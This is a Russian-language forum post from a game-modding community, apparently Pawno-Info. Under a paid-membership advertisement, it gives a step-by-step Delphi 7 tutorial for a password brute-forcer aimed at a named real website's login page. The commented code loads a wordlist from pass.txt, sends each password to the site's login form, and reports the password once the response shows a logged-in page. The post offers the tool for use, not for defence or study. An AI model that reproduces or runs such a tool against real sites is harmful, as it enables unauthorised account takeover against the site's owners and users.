Доступ к архиву

Переход в группу "Пользователь"

300.00 ₽
Одноразовый платёж
Быстрый переход в группу "Пользователи", без надобности написания постов и ожидания.

Покупка дает возможность:
Быть полноправным участником форума
Нормальное копирование кода
Создавать темы
Скачивать файлы
Доступ к архиву Pawno-Info

Брут

Статус
В этой теме нельзя размещать новые ответы.

hottabych1607

Умник
Сейчас мы сделаем с вами БРУТ программу, которая будет подбирать пароль на сайт: rp-crimegta.ru​

Для начало зайдем непосредственно в Delphi 7, и сразу сохраним приложение в какуй нибудь папку (Ctrl+Shift+S)
После в этой же папке где мы сохранили свое приложение создаем ".txt" файл с названием "pass"


И так начнем...
Код:
1) Добавим переменные    i:Integer;    p,info,txt:TStringList;     s:string;
2) Добавим на форму компоненты: IdHTTP, Button, Memo
3) После Begin пишем: 

  p:=TStringList.Create; //Связываем с переменной "p" визуальный список 
  info:=TStringList.Create; //Связываем с переменной "info" визуальный список
  txt:=TStringList.Create; //Связываем с переменной "txt" визуальный список
  txt.LoadFromFile('pass.txt'); //Загружаем в список переменной "txt" то, что у нас есть в файле pass.txt
  for i:=0 to txt.Count -1 do //Создаем/Запускаем ЦИКЛ
  begin
    info.Add('login_name=ЛОГИН'); //Добавляем в список переменной "info" текст: login_name=ЛОГИН
    info.Add('login_password='+txt.Strings[i]); //Добавляем в список переменной "info" текст: login_password=
    info.Add('login=submit'); //Добавляем в список переменной "info" текст: login=submit
    p.Text:=Form1.IdHTTP1.Post('http://www.rp-crimegta.ru/index.php',info); //Отправляем POST запрос на сайт rp-crimegta.ru, с атрибутами текста, из переменной "info"
    if Pos('logout',p.Text)>0 then //Если после отправки атрибутов, в HTML тексте появилась надпись logout, то
    begin
      Form1.Memo1.Lines.Add(txt.Strings[i]+': +');//В Memo1 после найденного пароля добавляется знак "+"
      s:=txt.Strings[i];//В переменную "s" записывается пароль
      MessageDlg('Пароль найден: '+s,mtInformation,[mbOK],0);//Выводится сообщение с тем что пароль найден
      Break;//Остановить ЦИКЛ
    end

    else // Иначе
    begin
      Form1.Memo1.Lines.Add(txt.Strings[i]+': -');//В Memo1 после паролей будет знак ""
    end;


  end;
  Memo1.Clear; //Очистить Memo1
И после всего этого в файл pass.txt добавляем разные пароли которые будут применяется в бруте!
 
Последнее редактирование:
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу